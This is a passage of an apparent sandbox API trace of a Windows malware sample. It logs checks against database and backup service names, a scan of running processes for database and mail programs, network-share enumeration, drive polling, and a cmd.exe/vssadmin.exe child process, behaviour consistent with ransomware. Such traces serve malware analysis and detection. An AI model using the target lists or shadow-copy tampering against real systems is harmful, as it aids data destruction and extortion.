(lpString1="mssqlserver", lpString2="UxSms") returned -1 [0199.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0199.768] lstrlenW (lpString="VSS") returned 3 [0199.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0199.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0199.768] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0199.768] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0199.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0199.768] lstrlenW (lpString="WdiServiceHost") returned 14 [0199.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0199.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0199.768] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0199.768] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0199.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0199.768] lstrlenW (lpString="WdiSystemHost") returned 13 [0199.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0199.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0199.768] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0199.768] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0199.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0199.768] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0199.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0199.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0199.768] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0199.768] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0199.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0199.768] lstrlenW (lpString="Winmgmt") returned 7 [0199.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0199.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0199.769] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0199.769] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0199.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0199.769] lstrlenW (lpString="WPDBusEnum") returned 10 [0199.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0199.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0199.769] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0199.769] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0199.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0199.769] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6b5c80 | out: hHeap=0x5c0000) returned 1 [0199.769] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c8 [0199.771] Process32FirstW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0199.771] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0199.772] lstrlenW (lpString="System") returned 6 [0199.772] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0199.772] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0199.772] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0199.772] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0199.772] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0199.772] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0199.772] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0199.772] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0199.772] lstrlenW (lpString="smss.exe") returned 8 [0199.772] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0199.772] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0199.772] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0199.772] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0199.772] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0199.772] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0199.772] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0199.772] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0199.773] lstrlenW (lpString="csrss.exe") returned 9 [0199.773] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0199.773] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0199.773] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0199.773] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0199.773] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0199.773] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0199.773] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0199.773] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0199.773] lstrlenW (lpString="wininit.exe") returned 11 [0199.774] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0199.774] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0199.774] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0199.774] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0199.774] lstrlenW (lpString="csrss.exe") returned 9 [0199.774] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0199.775] lstrlenW (lpString="winlogon.exe") returned 12 [0199.775] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0199.775] lstrlenW (lpString="services.exe") returned 12 [0199.775] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0199.775] lstrlenW (lpString="lsass.exe") returned 9 [0199.775] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0199.776] lstrlenW (lpString="lsm.exe") returned 7 [0199.776] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.776] lstrlenW (lpString="svchost.exe") returned 11 [0199.776] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.776] lstrlenW (lpString="svchost.exe") returned 11 [0199.777] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.777] lstrlenW (lpString="svchost.exe") returned 11 [0199.777] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.777] lstrlenW (lpString="svchost.exe") returned 11 [0199.777] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.778] lstrlenW (lpString="svchost.exe") returned 11 [0199.778] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0199.778] lstrlenW (lpString="audiodg.exe") returned 11 [0199.778] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.779] lstrlenW (lpString="svchost.exe") returned 11 [0199.779] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0199.779] lstrlenW (lpString="explorer.exe") returned 12 [0199.779] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0199.779] lstrlenW (lpString="dwm.exe") returned 7 [0199.779] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.780] lstrlenW (lpString="svchost.exe") returned 11 [0199.780] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0199.780] lstrlenW (lpString="n.exe") returned 5 [0199.780] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0199.781] lstrlenW (lpString="spoolsv.exe") returned 11 [0199.781] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.781] lstrlenW (lpString="svchost.exe") returned 11 [0199.781] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0199.781] lstrlenW (lpString="taskhost.exe") returned 12 [0199.781] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0199.782] lstrlenW (lpString="reader_sl.exe") returned 13 [0199.782] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x7dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0199.782] lstrlenW (lpString="n.exe") returned 5 [0199.782] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0199.782] lstrlenW (lpString="cmd.exe") returned 7 [0199.783] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0199.783] lstrlenW (lpString="conhost.exe") returned 11 [0199.783] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0199.783] lstrlenW (lpString="vssadmin.exe") returned 12 [0199.783] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0199.784] lstrlenW (lpString="VSSVC.exe") returned 9 [0199.784] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.784] lstrlenW (lpString="svchost.exe") returned 11 [0199.784] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0199.785] CloseHandle (hObject=0x1c8) returned 1 [0199.785] Sleep (dwMilliseconds=0x1f4) Thread: id = 400 os_tid = 0x4f8 [0182.036] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0xffffffff) returned 0x80 [0183.292] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f4b80 | out: hHeap=0x5c0000) returned 1 Thread: id = 401 os_tid = 0x560 [0182.036] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5fa240 [0182.036] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fa240, Size=0x20) returned 0x5f5af8 [0182.036] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f5af8, Size=0x40) returned 0x5f6c38 [0182.036] GetLogicalDrives () returned 0x4 [0182.036] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x61b578 [0182.036] GetComputerNameW (in: lpBuffer=0x61b57c, nSize=0x25cff6c | out: lpBuffer="XDUWTFONO", nSize=0x25cff6c) returned 1 [0182.036] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1000) returned 0x62b580 [0182.037] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x25cff3c | out: lphEnum=0x25cff3c*=0x5f60e8) returned 0x0 [0182.037] WNetEnumResourceW (in: hEnum=0x5f60e8, lpcCount=0x25cff38, lpBuffer=0x62b580, lpBufferSize=0x25cff40 | out: lpcCount=0x25cff38, lpBuffer=0x62b580, lpBufferSize=0x25cff40) returned 0x103 [0182.037] WNetCloseEnum (hEnum=0x5f60e8) returned 0x0 [0182.037] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x25cff3c | out: lphEnum=0x25cff3c*=0x63ec98) returned 0x0 [0182.058] WNetEnumResourceW (in: hEnum=0x63ec98, lpcCount=0x25cff38, lpBuffer=0x62b580, lpBufferSize=0x25cff40 | out: lpcCount=0x25cff38, lpBuffer=0x62b580, lpBufferSize=0x25cff40) returned 0x0 [0182.058] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1000) returned 0x62cd18 [0182.058] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x62b580, lphEnum=0x25cff10 | out: lphEnum=0x25cff10*=0x5f6328) returned 0x0 [0182.376] WNetEnumResourceW (in: hEnum=0x5f6328, lpcCount=0x25cff0c, lpBuffer=0x62cd18, lpBufferSize=0x25cff14 | out: lpcCount=0x25cff0c, lpBuffer=0x62cd18, lpBufferSize=0x25cff14) returned 0x103 [0182.376] WNetCloseEnum (hEnum=0x5f6328) returned 0x0 [0182.376] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1000) returned 0x60f570 [0182.376] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x62b5a0, lphEnum=0x25cff10 | out: lphEnum=0x25cff10*=0x0) returned 0x4b8 [0196.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1000) returned 0x42d9308 [0196.069] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x62b5c0, lphEnum=0x25cff10 | out: lphEnum=0x25cff10*=0x0) returned 0x4c6 [0196.071] WNetEnumResourceW (in: hEnum=0x63ec98, lpcCount=0x25cff38, lpBuffer=0x62b580, lpBufferSize=0x25cff40 | out: lpcCount=0x25cff38, lpBuffer=0x62b580, lpBufferSize=0x25cff40) returned 0x103 [0196.071] WNetCloseEnum (hEnum=0x63ec98) returned 0x0 [0196.071] GetLogicalDrives () returned 0x4 [0196.071] Sleep (dwMilliseconds=0x64) [0196.595] GetLogicalDrives () returned 0x4 [0196.595] Sleep (dwMilliseconds=0x64) [0196.843] GetLogicalDrives () returned 0x4 [0196.843] Sleep (dwMilliseconds=0x64) [0196.986] GetLogicalDrives () returned 0x4 [0196.986] Sleep (dwMilliseconds=0x64) [0197.169] GetLogicalDrives () returned 0x4 [0197.169] Sleep (dwMilliseconds=0x64) [0197.487] GetLogicalDrives () returned 0x4 [0197.502] Sleep (dwMilliseconds=0x64) [0198.241] GetLogicalDrives () returned 0x4 [0198.241] Sleep (dwMilliseconds=0x64) [0198.426] GetLogicalDrives () returned 0x4 [0198.426] Sleep (dwMilliseconds=0x64) [0198.670] GetLogicalDrives () returned 0x4 [0198.670] Sleep (dwMilliseconds=0x64) [0198.928] GetLogicalDrives () returned 0x4 [0198.928] Sleep (dwMilliseconds=0x64) [0199.203] GetLogicalDrives () returned 0x4 [0199.203] Sleep (dwMilliseconds=0x64) [0199.517] GetLogicalDrives () returned 0x4 [0199.517] Sleep (dwMilliseconds=0x64) [0199.798] GetLogicalDrives () returned 0x4 [0199.799] Sleep (dwMilliseconds=0x64) Thread: id = 402 os_tid = 0x670 [0182.391] GetTickCount () returned 0x11423f5 [0182.391] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x24) returned 0x62e010 [0182.391] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x62e010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x180 [0182.391] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x62e010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x184 [0182.392] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x62e010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x188 [0182.392] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x62e010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18c [0182.393] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x638830 [0182.393] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x638830, Size=0x20) returned 0x633aa8 [0182.393] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x638830 [0182.393] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x638830, Size=0x20) returned 0x633b20 [0182.393] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0182.393] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0182.393] Wow64DisableWow64FsRedirection (in: OldValue=0x2acff84 | out: OldValue=0x2acff84*=0x0) returned 1 [0182.393] lstrlenW (lpString="kernel32.dll") returned 12 [0182.393] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x633aa8 | out: hHeap=0x5c0000) returned 1 [0182.393] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0182.393] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x633b20 | out: hHeap=0x5c0000) returned 1 [0182.393] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x5fb550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x190 [0182.394] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0182.688] GetTickCount () returned 0x114250e [0182.688] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0182.861] GetTickCount () returned 0x11425ba [0182.861] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0183.189] GetTickCount () returned 0x1142701 [0183.189] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0183.699] GetTickCount () returned 0x11428e5 [0183.699] GetTickCount () returned 0x11428e5 [0183.699] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0183.969] GetTickCount () returned 0x11429ee [0183.970] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0184.254] GetTickCount () returned 0x1142b07 [0184.254] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0184.539] GetTickCount () returned 0x1142c10 [0184.539] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0184.733] GetTickCount () returned 0x1142ccb [0184.733] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0184.930] GetTickCount () returned 0x1142d96 [0184.930] GetTickCount () returned 0x1142d96 [0184.930] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0185.141] GetTickCount () returned 0x1142e61 [0185.141] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0185.309] GetTickCount () returned 0x1142efd [0185.309] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0185.748] GetTickCount () returned 0x11430b2 [0185.748] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0185.943] GetTickCount () returned 0x114316d [0185.943] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0186.282] GetTickCount () returned 0x11432b5 [0186.282] GetTickCount () returned 0x11432b5 [0186.282] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0186.532] GetTickCount () returned 0x11433ae [0186.532] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0186.860] GetTickCount () returned 0x11434e6 [0186.860] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0187.144] GetTickCount () returned 0x11435ff [0187.144] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0187.536] GetTickCount () returned 0x1143775 [0187.536] GetTickCount () returned 0x1143775 [0187.536] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0187.898] GetTickCount () returned 0x11438dc [0187.898] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0188.175] GetTickCount () returned 0x11439f5 [0188.175] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0188.559] GetTickCount () returned 0x1143b5c [0188.559] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0188.769] GetTickCount () returned 0x1143c27 [0188.769] GetTickCount () returned 0x1143c27 [0188.769] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0189.044] GetTickCount () returned 